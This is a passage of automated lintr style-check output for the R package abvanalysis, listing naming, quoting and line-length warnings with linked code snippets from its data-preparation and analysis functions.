[R/calculate_weight.R:34:24:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/calculate_weight.R#L34) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    select_(~Stratum, ~ExternalCode, ~Weight) %>%
                       ^~~~~~~~~~~~
```
[R/get_linear_lincomb.R:23:38:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_linear_lincomb.R#L23) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      fPeriod = ~sort(unique(dataset$fPeriod))[1]
                                     ^~~~~~~
```
[R/get_linear_lincomb.R:36:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_linear_lincomb.R#L36) *style:* **Only use double-quotes.**
```r
<U+200B>    '*'(available.weight$Weight) %>%
    ^~~
```
[R/get_linear_lincomb.R:36:8:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_linear_lincomb.R#L36) *style:* **Place a space before left parenthesis, except in a function call.**
```r
<U+200B>    '*'(available.weight$Weight) %>%
       ^
```
[R/get_linear_lincomb.R:46:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_linear_lincomb.R#L46) *style:* **Only use double-quotes.**
```r
<U+200B>    '*'(trend.weight$Weight)
    ^~~
```
[R/get_linear_lincomb.R:46:8:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_linear_lincomb.R#L46) *style:* **Place a space before left parenthesis, except in a function call.**
```r
<U+200B>    '*'(trend.weight$Weight)
       ^
```
[R/get_nonlinear_lincomb.R:31:26:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_nonlinear_lincomb.R#L31) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      Weight = ~Weight / TotalWeight,
                         ^~~~~~~~~~~
```
[R/get_nonlinear_lincomb.R:32:38:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_nonlinear_lincomb.R#L32) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      fPeriod = ~sort(unique(dataset$fPeriod))[1]
                                     ^~~~~~~
```
[R/get_nonlinear_lincomb.R:34:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_nonlinear_lincomb.R#L34) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    select_(~-TotalWeight)
              ^~~~~~~~~~~
```
[R/get_nonlinear_lincomb.R:38:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_nonlinear_lincomb.R#L38) *style:* **Only use double-quotes.**
```r
<U+200B>    '*'(available.weight$Weight) %>%
    ^~~
```
[R/get_nonlinear_lincomb.R:38:8:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/get_nonlinear_lincomb.R#L38) *style:* **Place a space before left parenthesis, except in a function call.**
```r
<U+200B>    '*'(available.weight$Weight) %>%
       ^
```
[R/prepare_analysis.R:75:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L75) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    select_(~FileFingerprint, ~Status) %>%
             ^~~~~~~~~~~~~~~
```
[R/prepare_analysis.R:81:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L81) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    group_by_(~LocationGroupID, ~SpeciesGroupID) %>%
               ^~~~~~~~~~~~~~~
```
[R/prepare_analysis.R:81:34:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L81) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    group_by_(~LocationGroupID, ~SpeciesGroupID) %>%
                                 ^~~~~~~~~~~~~~
```
[R/prepare_analysis.R:113:18:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L113) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~SpeciesGroupID, ~SpeciesID),
                 ^~~~~~~~~~~~~~
```
[R/prepare_analysis.R:113:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L113) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~SpeciesGroupID, ~SpeciesID),
                                  ^~~~~~~~~
```
[R/prepare_analysis.R:116:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L116) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    select_(~-SpeciesGroupID) %>%
              ^~~~~~~~~~~~~~
```
[R/prepare_analysis.R:121:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L121) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    group_by_(~LocationGroupID, ~SpeciesGroupID, ~Covariate) %>%
               ^~~~~~~~~~~~~~~
```
[R/prepare_analysis.R:121:34:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis.R#L121) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    group_by_(~LocationGroupID, ~SpeciesGroupID, ~Covariate) %>%
                                 ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:14:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L14) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    variable = c("LocationGroupID", "SpeciesGroupID", "Covariate", "FileFingerprint", "StatusFingerprint", "Seed"),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:27:25:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L27) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      ParentAnalysis = ~FileFingerprint,
                        ^~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:28:34:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L28) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      ParentStatusFingerprint = ~StatusFingerprint,
                                 ^~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:31:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L31) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    arrange_(~ParentAnalysis)
              ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:33:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L33) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.id <- dataset$SpeciesGroupID[1]
  ^~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:33:31:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L33) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  species.group.id <- dataset$SpeciesGroupID[1]
                              ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:34:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L34) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  location.group.id <- dataset$LocationGroupID[1]
  ^~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:34:32:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L34) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  location.group.id <- dataset$LocationGroupID[1]
                               ^~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:35:28:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L35) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  analysis.date <- dataset$AnalysisDate[1]
                           ^~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:41:29:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L41) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      parent = dataset.year$ParentAnalysis,
                            ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:43:18:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L43) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                 ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:43:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L43) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                                  ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:43:61:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L43) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                                                            ^~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:47:26:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L47) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>      species.group.id = species.group.id,
                         ^~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:48:27:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L48) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>      location.group.id = location.group.id,
                          ^~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:65:29:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L65) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      parent = this.dataset$ParentAnalysis,
                            ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:67:18:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L67) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                 ^~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:67:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L67) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                                  ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:67:61:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L67) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                                                            ^~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:71:26:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L71) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>      species.group.id = species.group.id,
                         ^~~~~~~~~~~~~~~~
```
[R/prepare_analysis_comparison.R:72:27:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_comparison.R#L72) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>      location.group.id = location.group.id,
                          ^~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:29:11:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L29) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  dataset$ParentStatusFingerprint <- dataset$StatusFingerprint
          ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:29:46:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L29) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  dataset$ParentStatusFingerprint <- dataset$StatusFingerprint
                                             ^~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:30:11:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L30) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  dataset$ParentStatus <- dataset$Status
          ^~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:64:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L64) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
               ^~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:64:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L64) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                                ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:64:59:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L64) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      select_(~ParentAnalysis, ~ParentStatusFingerprint, ~ParentStatus) %>%
                                                          ^~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:68:32:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L68) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    species.group.id = dataset$SpeciesGroupID[1],
                               ^~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:69:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L69) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    location.group.id = dataset$LocationGroupID[1],
                                ^~~~~~~~~~~~~~~
```
[R/prepare_analysis_composite.R:75:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_composite.R#L75) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    analysis.date = max(dataset$AnalysisDate)
                                ^~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:73:38:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L73) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  seed <- species.id$Seed[species.id$SpeciesGroupID == speciesgroup.id]
                                     ^~~~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:74:39:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L74) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  parent <- parent$Fingerprint[parent$SpeciesGroupID == speciesgroup.id]
                                      ^~~~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:78:37:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L78) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    mutate_(Nobserved = ~n_distinct(LocationID)) %>%
                                    ^~~~~~~~~~
```
[R/prepare_analysis_dataset.R:81:31:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L81) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      Nrelevant = ~n_distinct(LocationID)
                              ^~~~~~~~~~
```
[R/prepare_analysis_dataset.R:91:35:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L91) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      locationgroup.id <- dataset$LocationGroupID[1]
                                  ^~~~~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:138:31:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L138) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          fLocation = ~factor(LocationID),
                              ^~~~~~~~~~
```
[R/prepare_analysis_dataset.R:139:34:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L139) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          fSubLocation = ~factor(SubLocationID),
                                 ^~~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:144:46:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L144) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      multi.stratum <- length(levels(dataset$fStratum)) > 1
                                             ^~~~~~~~
```
[R/prepare_analysis_dataset.R:148:23:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L148) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      if (min(dataset$cYear) == 0) {
                      ^~~~~
```
[R/prepare_analysis_dataset.R:153:18:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L153) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        select_(~fStratum, ~Weight) %>%
                 ^~~~~~~~
```
[R/prepare_analysis_dataset.R:155:19:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L155) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        arrange_(~fStratum)
                  ^~~~~~~~
```
[R/prepare_analysis_dataset.R:156:31:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L156) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      lc.index <- min(dataset$cYear):max(dataset$cYear) %>%
                              ^~~~~
```
[R/prepare_analysis_dataset.R:156:50:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L156) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      lc.index <- min(dataset$cYear):max(dataset$cYear) %>%
                                                 ^~~~~
```
[R/prepare_analysis_dataset.R:165:23:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L165) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          min(dataset$cYear):max(dataset$cYear) %>%
                      ^~~~~
```
[R/prepare_analysis_dataset.R:165:42:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L165) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          min(dataset$cYear):max(dataset$cYear) %>%
                                         ^~~~~
```
[R/prepare_analysis_dataset.R:167:19:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L167) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          weights$fStratum %>%
                  ^~~~~~~~
```
[R/prepare_analysis_dataset.R:179:27:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L179) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          formula = ~ 0 + fStratum + cYear:fStratum
                          ^~~~~~~~
```
[R/prepare_analysis_dataset.R:179:38:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L179) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          formula = ~ 0 + fStratum + cYear:fStratum
                                     ^~~~~
```
[R/prepare_analysis_dataset.R:179:44:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L179) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          formula = ~ 0 + fStratum + cYear:fStratum
                                           ^~~~~~~~
```
[R/prepare_analysis_dataset.R:185:31:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L185) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          cYear = min(dataset$cYear):max(dataset$cYear)
                              ^~~~~
```
[R/prepare_analysis_dataset.R:185:50:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L185) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>          cYear = min(dataset$cYear):max(dataset$cYear)
                                                 ^~~~~
```
[R/prepare_analysis_dataset.R:236:41:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L236) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            list(cYear = levels(dataset$fStratum)),
                                        ^~~~~~~~
```
[R/prepare_analysis_dataset.R:237:41:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L237) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            list(cYear = levels(dataset$fStratum)),
                                        ^~~~~~~~
```
[R/prepare_analysis_dataset.R:246:17:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L246) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>        dataset$fCycle <- factor(
                ^~~~~~
```
[R/prepare_analysis_dataset.R:262:21:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L262) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            weights$fStratum %>%
                    ^~~~~~~~
```
[R/prepare_analysis_dataset.R:273:29:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L273) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            formula = ~ 0 + fStratum + Cycle:fStratum
                            ^~~~~~~~
```
[R/prepare_analysis_dataset.R:273:46:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L273) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            formula = ~ 0 + fStratum + Cycle:fStratum
                                             ^~~~~~~~
```
[R/prepare_analysis_dataset.R:277:41:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L277) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            list(cYear = levels(dataset$fStratum)),
                                        ^~~~~~~~
```
[R/prepare_analysis_dataset.R:278:41:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L278) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            list(cYear = levels(dataset$fStratum)),
                                        ^~~~~~~~
```
[R/prepare_analysis_dataset.R:280:41:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L280) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            list(Cycle = levels(dataset$fStratum)),
                                        ^~~~~~~~
```
[R/prepare_analysis_dataset.R:281:41:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L281) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>            list(Cycle = levels(dataset$fStratum)),
                                        ^~~~~~~~
```
[R/prepare_analysis_dataset.R:293:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L293) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>        lc <- list(lc.index, lc.index, lc.trend, lc.cycle, lc.cycle, lc.cycletrend)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:351:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L351) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      if (length(levels(dataset$fLocation)) > 1) {
                                ^~~~~~~~~
```
[R/prepare_analysis_dataset.R:362:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L362) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      if (length(levels(dataset$fSubLocation)) > 1) {
                                ^~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:373:33:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L373) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>      if (length(levels(dataset$fPeriod)) > 1) {
                                ^~~~~~~
```
[R/prepare_analysis_dataset.R:387:16:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L387) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>              ~ObservationID, ~DatasourceID, ~Count, ~Weight,
               ^~~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:387:32:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L387) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>              ~ObservationID, ~DatasourceID, ~Count, ~Weight,
                               ^~~~~~~~~~~~
```
[R/prepare_analysis_dataset.R:436:14:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_analysis_dataset.R#L436) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    analysis$SpeciesGroupID <- speciesgroup.id
             ^~~~~~~~~~~~~~
```
[R/prepare_dataset.R:24:15:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset.R#L24) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  assert_that(noNA(verbose))
              ^~~~
```
[R/prepare_dataset.R:58:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset.R#L58) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>#   this.species <- subset(species, SpeciesGroupID == sample(species$SpeciesGroupID, 1))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset.R:58:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset.R#L58) *style:* **Commented code should be removed.**
```r
